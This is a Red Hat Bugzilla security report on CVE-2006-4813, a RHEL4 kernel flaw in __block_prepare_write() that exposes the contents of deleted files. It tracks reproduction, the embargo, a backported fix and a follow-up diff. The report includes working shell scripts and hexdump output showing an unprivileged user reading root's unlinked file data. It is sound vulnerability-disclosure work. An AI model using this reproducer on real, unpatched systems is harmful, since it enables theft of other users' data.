Bug 207463 - CVE-2006-4813 Information leak in __block_prepare_write()
CVE-2006-4813 Information leak in __block_prepare_write()
Status: CLOSED ERRATA
Product: Red Hat Enterprise Linux 4
Classification: Red Hat
Component: kernel (Show other bugs)
4.4
All Linux
medium Severity high
: ---
: ---
Assigned To: Eric Sandeen
Brian Brock
impact=important,source=bugzilla,repo...
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2006-09-21 04:52 EDT by Vasily Averin
Modified: 2008-01-09 12:30 EST (History)
5 users (show)

See Also:
Fixed In Version: RHSA-2007-0014
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2007-01-30 09:27:49 EST
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)
reproducer testcase (620 bytes, text/plain)
2006-09-21 04:58 EDT, Vasily Averin
no flags Details
reproducer preapre script (222 bytes, text/plain)
2006-09-21 04:59 EDT, Vasily Averin
no flags Details
reproducer testcase script (539 bytes, text/plain)
2006-09-21 04:59 EDT, Vasily Averin
no flags Details
patch against your lastest public kernel (1009 bytes, patch)
2007-02-05 08:33 EST, Monakhov Dmitriy
no flags Details | Diff

  None (edit)
Description Vasily Averin 2006-09-21 04:52:00 EDT
Dmitriy Monakhov from SWsoft Virtuozzo/OpenVZ Linux Team has noticed an
information leak in __block_prepare_write() affected RHEL4 kernels:
__block_prepare_write() does not clear properly the data buffers during error
recovery and therefore content of previously unliked files is accessible.

It is known issue and it is fixed in mainstream by following patch:
http://www.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=152becd26e0563aefdbc4fd1fe491928efe92d1f
Comment 1 Vasily Averin 2006-09-21 04:53:37 EDT
#uname -r
2.6.9-42.0.2.EL

to reproduce:

gcc -Wall ./open_write.c -o /tmp/open_write
sh ./prep.sh
sh ./info_leack_test.sh

test result:
#sh  /tmp/info_leack_test.sh
stat: cannot stat `/mnt/file': No such file or directory
00000000  53 53 53 53 53 53 53 53  53 53 53 53 53 53 53 53  |SSSSSSSSSSSSSSSS|
*
########## content from unlinked file visible.      ^^^^^^^^^^^^^^^^^^^^^^^^^^^
########## must be zeros here 
00000800  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000  6e                                                |n|
00001001
Comment 2 Vasily Averin 2006-09-21 04:58:07 EDT
Created attachment 136834 [details]
reproducer testcase
Comment 3 Vasily Averin 2006-09-21 04:59:00 EDT
Created attachment 136835 [details]
reproducer preapre script
Comment 4 Vasily Averin 2006-09-21 04:59:38 EDT
Created attachment 136836 [details]
reproducer testcase script
Comment 5 Marcel Holtmann 2006-09-21 10:06:43 EDT
an you elaborate a little bit more on this issue. The reproduce needs root
rights to fully work and a root-only information leak is not a security issue.
Comment 6 Vasily Averin 2006-09-21 13:20:25 EDT
root permission in this reproducer needs for filesystem preparing only.
then root (or any another user) may write some files, then delete it.
Then any another user have a chance to get content of _any_  previously deleted
files.
Comment 7 Vasily Averin 2006-09-22 04:08:12 EDT
please show:

-bash-3.00# cd /tmp
-bash-3.00# ls prepvvs.sh -al
-rw-r--r--  1 root root 653 Sep 22 11:46 prepvvs.sh

-bash-3.00# cat prepvvs.sh
#############
DEV=/tmp/FS_test
MNT=/tmp/mnt
mkdir $MNT

#preparing a filesystem; it should have 1k or 2k blocksize
dd if=/dev/zero of=$DEV bs=1M count=128

mkfs.ext2 -b1024 -m0 -q  -F $DEV
mount $DEV $MNT -oloop

#make filesystem pubic accessible
chmod 777 $MNT

# create private root directory
mkdir $MNT/root
chmod 700 $MNT/root

# write to file top secret data
for(( i = 0; i< 96; i++ ))
        do
                echo "top secret root  file content  " >> $MNT/root/ROOT_FILE
        done
#fill up the filesystem
dd if=/dev/zero of=$MNT/root/BIG bs=1k
sync

#unlink root's file
unlink  $MNT/root/ROOT_FILE
sync
# now filesystem has 3 free data blocks with content of unlinked ROOT_FILE

-bash-3.00# sh ./prepvvs.sh
128+0 records in
128+0 records out
dd: writing `/tmp/mnt/root/BIG': No space left on device
124887+0 records in
124886+0 records out


-bash-3.00# su testuser

[testuser@dmon tmp]$ ls -al ./userscript.sh
-rw-r--r--  1 testuser testuser 218 Sep 22 11:40 ./userscript.sh

[testuser@dmon tmp]$ cat userscript.sh
## create sparse file
dd if=/dev/zero of=/tmp/mnt/userfile seek=4096 count=1 bs=1
## and fill it
dd if=/dev/zero of=/tmp/mnt/userfile bs=4k count=1 conv=notrunc
## now look what we get
hexdump  -C /tmp/mnt/userfile

[testuser@dmon tmp]$ sh ./userscript.sh
1+0 records in
1+0 records out
dd: writing `/tmp/mnt/userfile': No space left on device
1+0 records in
0+0 records out
00000000  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
00000010  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
00000020  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
00000030  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
00000040  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
00000050  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
...
000007a0  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
000007b0  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
000007c0  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
000007d0  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
000007e0  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
000007f0  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
00000800  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000  00                                                |.|
00001001
Comment 10 Marcel Holtmann 2006-09-22 05:53:59 EDT
The patch is public since June, 23th 2005, but the security implication is not
wide spreaded. Do you mind keeping this embargoed for 1-2 weeks and me sending
this information (including reproducer) to vendor-sec?
Comment 11 Vasily Averin 2006-09-22 06:29:01 EDT
I'm agree,
I would like to add that information may leaks even when user is limited by disk
quota.
Comment 12 Eric Sandeen 2006-10-02 15:44:53 EDT
Backported patch sent to rhkernel-list on 10/2/06
Comment 13 Vasily Averin 2006-10-03 02:46:40 EDT
Eric,
can I take a look at this patch somehow please?
Is it possible to get subscribed to rhkernel-list@? We (Virtuozzo/OpenVZ team)
report bugs to RHEL kernels and could provide much better level of cooperation
and feedback (including patches) having an access to this mailing list. Whom can
I ask for it?

Comment 14 Marcel Holtmann 2006-10-03 03:24:42 EDT
Vasily, if they are security related, I prefer you post the information to
vendor-sec@lst.de. This allows all distributions to comment on it and I can pick
them up from there.

I spoke with Kir Kolyshkin at IBLOC about it and once I am back, I am going to
write something up. I first have to check what is possible and what not.
Comment 15 Jason Baron 2006-10-16 11:52:19 EDT
committed in stream U5 build 42.19. A test kernel with this patch is available
from http://people.redhat.com/~jbaron/rhel4/
Comment 16 RHEL Product and Program Management 2006-10-20 13:48:48 EDT
This request was evaluated by Red Hat Product Management for inclusion in a Red
Hat Enterprise Linux maintenance release.  Product Management has requested
further review of this request by Red Hat Engineering, for potential
inclusion in a Red Hat Enterprise Linux Update release for currently deployed
products.  This request is not yet committed for inclusion in an Update
release.
Comment 17 Jay Turner 2006-11-21 07:45:25 EST
QE ack for 4.5.
Comment 18 Jason Baron 2006-12-18 16:39:44 EST
committed in stream E5 build 42.0.4
Comment 20 Mike Gahagan 2007-01-17 11:22:16 EST
sucessfully tested with the second rendition of the test case (the first didn't
seem to work). no deleted files were visable with the 42.0.6 kernel.
Comment 22 Red Hat Bugzilla 2007-01-30 09:27:49 EST
An advisory has been issued which should help the problem
described in this bug report. This report is therefore being
closed with a resolution of ERRATA. For more information
on the solution and/or where to find the updated files,
please follow the link below. You may reopen this bug report
if the solution does not work for you.

http://rhn.redhat.com/errata/RHSA-2007-0014.html
Comment 23 Monakhov Dmitriy 2007-02-05 07:26:50 EST
patch you applied is _incorrect_.
Actually __block_prepare_write err path was broken in two places:

A)clear_buffer_new() was called too early and result in information leak. [you
have fixed it.]

B)after get_block has failed original code  jump to "out" label and return
without waiting for issued read requests to complete, and may later unlock page. 
We must just do "break" here, and wait until IO-layer reading complete.
Otherwise later access to page cause unpredictable result, because IO-layer may
modify this page at this moment.
So this place have to looks like this:
=-=-=-=-=-=-=
--- linux-2.6.9/fs/buffer.c.orig
+++ linux-2.6.9/fs/buffer.c
@@ -2029,9 +2029,8 @@ static int __block_prepare_write(struct 
 		if (!buffer_mapped(bh)) {
 			err = get_block(inode, block, bh, 1);
 			if (err)
-				goto out;
+				break;
 			if (buffer_new(bh)) {
-				clear_buffer_new(bh);
 				unmap_underlying_metadata(bh->b_bdev,
 							bh->b_blocknr);
 				if (PageUptodate(page)) {
=-=-=-=-=-=
I haven't sufficient right access, so than let's someone else REOPEN it.
Comment 24 Monakhov Dmitriy 2007-02-05 08:33:15 EST
Created attachment 147354 [details]
patch against your lastest public kernel 

This patch fix broken error handling path as it was done in original mainstream
patch. Waiting for issued read requests to complete.
Comment 25 Eric Sandeen 2007-02-05 09:29:34 EST
Thanks, I'll look at this today.
Comment 26 Eric Sandeen 2007-02-05 10:32:29 EST
Ok, so it looks like we're missing
http://www2.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=f3ddbdc6267c32223035ea9bb8456a2d86f65ba1


Fix a race where __block_prepare_write can leak out an in-flight read
against a bh if get_block returns an error.  This can lead to the page
becoming unlocked while the buffer is locked and the read still in flight.
__mpage_writepage BUGs on this condition.

BUG sighted on a 2-way Itanium2 system with 16K PAGE_SIZE running

	fsstress -v -d $DIR/tmp -n 1000 -p 1000 -l 2

where $DIR is a new ext2 filesystem with 4K blocks that is quite
small (causing get_block to fail often with -ENOSPC).

Signed-off-by: Nick Piggin <nickpiggin@yahoo.com.au>

Comment 27 Marcel Holtmann 2007-02-05 11:02:58 EST
This is a regression with an issue solved through an errata. If the fix in the
errata was incomplete, we need to open a new bug for it. Don't re-open this one.
Comment 28 Eric Sandeen 2007-02-05 11:42:38 EST
Dmitriy,

It's my understanding that by putting the patch in as we did, we DID fix one
problem case, but still did not fix a 2nd case.  I don't think that we have made
anything -worse- (i.e. the errata patch did not cause a regression) and the case
we missed has been in the RHEL4 kernel since it was released.  I think that this
2nd problem does have some security implications, although it is not as severe
as the problem which was addressed with the first patch.  Do you agree with this
assessment?

Thanks,
-Eric
Comment 29 Monakhov Dmitriy 2007-02-05 11:49:02 EST
yes.

Note You need to log in before you can comment on or make changes to this bug.